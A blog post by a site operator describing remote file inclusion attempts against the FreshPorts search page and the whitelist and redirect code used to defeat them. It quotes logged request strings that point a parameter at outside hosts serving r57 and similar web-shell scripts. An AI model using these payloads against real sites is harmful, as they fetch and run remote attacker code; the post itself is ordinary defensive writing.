Odd way to break in

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t.

Then there are the script kiddies. They don’t know much. They know how to run scripts.

Lately, I’ve been seeing these requests to the FreshPorts website:

/search.php?stype=http://0x00013.50webs.org/tesgcc.txt?
/search.php?stype=http://0x0134.lan.io/pb.php?
/search.php?stype=http://0xg3458.hub.io/pb.php?
/search.php?stype=http://amygirl.3-hosting.net/cs.txt?
/search.php?stype=http://amygirl.siteburg.com/images/cs.txt?
/search.php?stype=http://amygirl.webs.io/pb.php?
/search.php?stype=http://amyru.h18.ru/images/cs.txt?
/search.php?stype=http://andravarldar.se/cmd?
/search.php?stype=http://tarcisiobr.kit.net/r57.txt?
/search.php?stype=http://users2.TitanicHost.com/ninagirl/pb.txt?
/search.php?stype=http://www.by-kaos.org/r57.txt?
/search.php?stype=http://www.etriple.com/sc/comandi/r57.txt?
/search.php?stype=http://www.evilc0der.com/r57.txt?
/search.php?stype=http://www.oxred.kit.net/bye.txt?
/search.php?stype=http://www.ss3s.org/r57.txt?
/search.php?stype=http://wwww.ypu.com/r57.txt?
/search.php?stype=http://x0.741.com/pb.txt?

What’s in these files? Something like this.

Where are they coming from? All over the place. Here is a list sorted by IP address.

As for these types of requests, I see them in the logs, I think about them. I know it’s not a problem because that particular field of the search results is well sanitized. Only certain values are accepted. If you supply a non-recognized value, you get told:

something terrible has happened!

That happens through code like this:

switch ($stype) {
   case SEARCH_FIELD_NAME:
   case SEARCH_FIELD_PACKAGE:
   case SEARCH_FIELD_LATEST_LINK:
   case SEARCH_FIELD_SHORTDESCRIPTION:
   case SEARCH_FIELD_LONGDESCRIPTION:
   case SEARCH_FIELD_DEPENDS_BUILD:
   case SEARCH_FIELD_DEPENDS_LIB:
   case SEARCH_FIELD_DEPENDS_RUN:
   case SEARCH_FIELD_DEPENDS_ALL:
   case SEARCH_FIELD_MAINTAINER:
   case SEARCH_FIELD_COMMITTER:
   case SEARCH_FIELD_PATHNAME:
   case SEARCH_FIELD_COMMITMESSAGE:
   # all is well.  we have a valid value.
      break;

   default:
      # bad value.
      # ERROR
      syslog(LOG_ERR, 'bad search string: ' . $_SERVER['QUERY_STRING']);
      die('something terrible has happened!');
}

That’s sufficient for what I needed. But now I’m getting annoyed. I’ve been redirecting the IP addresses elsewhere, but I’ve given up on that now. I had been doing something like this:

RewriteEngine On
RewriteCond %{REMOTE_ADDR} 59.56.116.171   [OR]
RewriteCond %{REMOTE_ADDR} 172.188.236.232 [OR]
RewriteCond %{REMOTE_ADDR} 202.101.107.120 [OR]
...
RewriteCond %{REMOTE_ADDR} 90.128.89.206   [OR]
RewriteCond %{REMOTE_ADDR} 82.42.160.16    [OR]
RewriteCond %{REMOTE_ADDR} 194.104.99.10
RewriteRule .* http://news.example.org/odd-way-to-break-in/ R=permanent]

This has the disadvantage of requiring manual intervention to amend the list and tapping Apache on the shoulder. It is precise in that redirects the kiddies if they try accessing http://www.freshports.org/ . I had thought of blocking the IP addresses from the entire server (all websites) by using a cronjob and a firewall rule (simliar to how I dealt with an odd DoS attack).

This morning, I decided I’d try something else. I’d redirect from within the code. Hence this patch:

if (substr($stype, 0, 7) === 'http://') {
   # redirect their ass
   header('Location: http://news.freshports.org/2007/10/02/odd-way-to-break-in/');
   exit;
}

This keeps them away from the server, and has the following advantages:

• automatic – I don’t do anything
• Produces a 301 in the logs – they don’t get anywhere near the website

So much better…